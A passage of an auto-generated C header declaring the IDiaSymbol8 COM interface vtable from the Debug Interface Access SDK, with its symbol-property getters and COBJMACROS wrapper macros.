* This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( IDiaSymbol8 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( IDiaSymbol8 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pProperties); HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( IDiaSymbol8 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ WORD *pModifiers); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( IDiaSymbol8 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( IDiaSymbol8 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( IDiaSymbol8 * This, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( IDiaSymbol8 * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( IDiaSymbol8 * This, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( IDiaSymbol8 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( IDiaSymbol8 * This, /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( IDiaSymbol8 * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( IDiaSymbol8 * This, /* [in] */ DWORD tagValue, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( IDiaSymbol8 * This, /* [in] */ DWORD tagValue, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( IDiaSymbol8 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pPointerTags); HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( IDiaSymbol8 * This, /* [out] */ IDiaLineNumber **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( IDiaSymbol8 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( IDiaSymbol8 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( IDiaSymbol8 * This, /* [retval][out] */ ULONGLONG *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( IDiaSymbol8 * This, /* [out] */ IDiaInputAssemblyFile **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noexcept )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAbsoluteAddress )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStaticMemberFunc )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSignRet )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coroutineKind )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolKind )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolSection )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolOffset )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolRva )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolAddr )( IDiaSymbol8 * This, /* [retval][out] */ ULONGLONG *pRetVal); END_INTERFACE } IDiaSymbol8Vtbl; interface IDiaSymbol8 { CONST_VTBL struct IDiaSymbol8Vtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaSymbol8_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaSymbol8_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaSymbol8_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaSymbol8_get_symIndexId(This,pRetVal) \ ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) #define IDiaSymbol8_get_symTag(This,pRetVal) \ ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) #define IDiaSymbol8_get_name(This,pRetVal) \ ( (This)->lpVtbl -> get_name(This,pRetVal) ) #define IDiaSymbol8_get_lexicalParent(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) #define IDiaSymbol8_get_classParent(This,pRetVal) \ ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) #define IDiaSymbol8_get_type(This,pRetVal) \ ( (This)->lpVtbl -> get_type(This,pRetVal) ) #define IDiaSymbol8_get_dataKind(This,pRetVal) \ ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) #define IDiaSymbol8_get_locationType(This,pRetVal) \ ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) #define IDiaSymbol8_get_addressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) #define IDiaSymbol8_get_addressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) #define IDiaSymbol8_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol8_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #define IDiaSymbol8_get_registerId(This,pRetVal) \ ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) #define IDiaSymbol8_get_offset(This,pRetVal) \ ( (This)->lpVtbl -> get_offset(This,pRetVal) ) #define IDiaSymbol8_get_length(This,pRetVal) \ ( (This)->lpVtbl -> get_length(This,pRetVal) ) #define IDiaSymbol8_get_slot(This,pRetVal) \ ( (This)->lpVtbl -> get_slot(This,pRetVal) ) #define IDiaSymbol8_get_volatileType(This,pRetVal) \ ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) #define IDiaSymbol8_get_constType(This,pRetVal) \ ( (This)->lpVtbl -> get_constType(This,pRetVal) ) #define IDiaSymbol8_get_unalignedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) #define IDiaSymbol8_get_access(This,pRetVal) \ ( (This)->lpVtbl -> get_access(This,pRetVal) ) #define IDiaSymbol8_get_libraryName(This,pRetVal) \ ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) #define IDiaSymbol8_get_platform(This,pRetVal) \ ( (This)->lpVtbl -> get_platform(This,pRetVal) ) #define IDiaSymbol8_get_language(This,pRetVal) \ ( (This)->lpVtbl -> get_language(This,pRetVal) ) #define IDiaSymbol8_get_editAndContinueEnabled(This,pRetVal) \ ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) #define IDiaSymbol8_get_frontEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) #define IDiaSymbol8_get_frontEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) #define IDiaSymbol8_get_frontEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) #define IDiaSymbol8_get_backEndMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) #define IDiaSymbol8_get_backEndMinor(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) #define IDiaSymbol8_get_backEndBuild(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) #define IDiaSymbol8_get_sourceFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) #define IDiaSymbol8_get_unused(This,pRetVal) \ ( (This)->lpVtbl -> get_unused(This,pRetVal) ) #define IDiaSymbol8_get_thunkOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) #define IDiaSymbol8_get_thisAdjust(This,pRetVal) \ ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) #define IDiaSymbol8_get_virtualBaseOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) #define IDiaSymbol8_get_virtual(This,pRetVal) \ ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) #define IDiaSymbol8_get_intro(This,pRetVal) \ ( (This)->lpVtbl -> get_intro(This,pRetVal) ) #define IDiaSymbol8_get_pure(This,pRetVal) \ ( (This)->lpVtbl -> get_pure(This,pRetVal) ) #define IDiaSymbol8_get_callingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) #define IDiaSymbol8_get_value(This,pRetVal) \ ( (This)->lpVtbl -> get_value(This,pRetVal) ) #define IDiaSymbol8_get_baseType(This,pRetVal) \ ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) #define IDiaSymbol8_get_token(This,pRetVal) \ ( (This)->lpVtbl -> get_token(This,pRetVal) ) #define IDiaSymbol8_get_timeStamp(This,pRetVal) \ ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) #define IDiaSymbol8_get_guid(This,pRetVal) \ ( (This)->lpVtbl -> get_guid(This,pRetVal) ) #define IDiaSymbol8_get_symbolsFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) #define IDiaSymbol8_get_reference(This,pRetVal) \ ( (This)->lpVtbl -> get_reference(This,pRetVal) ) #define IDiaSymbol8_get_count(This,pRetVal) \ ( (This)->lpVtbl -> get_count(This,pRetVal) ) #define IDiaSymbol8_get_bitPosition(This,pRetVal) \ ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) #define IDiaSymbol8_get_arrayIndexType(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) #define IDiaSymbol8_get_packed(This,pRetVal) \ ( (This)->lpVtbl -> get_packed(This,pRetVal) ) #define IDiaSymbol8_get_constructor(This,pRetVal) \ ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) #define IDiaSymbol8_get_overloadedOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) #define IDiaSymbol8_get_nested(This,pRetVal) \ ( (This)->lpVtbl -> get_nested(This,pRetVal) ) #define IDiaSymbol8_get_hasNestedTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) #define IDiaSymbol8_get_hasAssignmentOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) #define IDiaSymbol8_get_hasCastOperator(This,pRetVal) \ ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) #define IDiaSymbol8_get_scoped(This,pRetVal) \ ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) #define IDiaSymbol8_get_virtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) #define IDiaSymbol8_get_indirectVirtualBaseClass(This,pRetVal) \ ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) #define IDiaSymbol8_get_virtualBasePointerOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) #define IDiaSymbol8_get_virtualTableShape(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) #define IDiaSymbol8_get_lexicalParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) #define IDiaSymbol8_get_classParentId(This,pRetVal) \ ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) #define IDiaSymbol8_get_typeId(This,pRetVal) \ ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) #define IDiaSymbol8_get_arrayIndexTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) #define IDiaSymbol8_get_virtualTableShapeId(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) #define IDiaSymbol8_get_code(This,pRetVal) \ ( (This)->lpVtbl -> get_code(This,pRetVal) ) #define IDiaSymbol8_get_function(This,pRetVal) \ ( (This)->lpVtbl -> get_function(This,pRetVal) ) #define IDiaSymbol8_get_managed(This,pRetVal) \ ( (This)->lpVtbl -> get_managed(This,pRetVal) ) #define 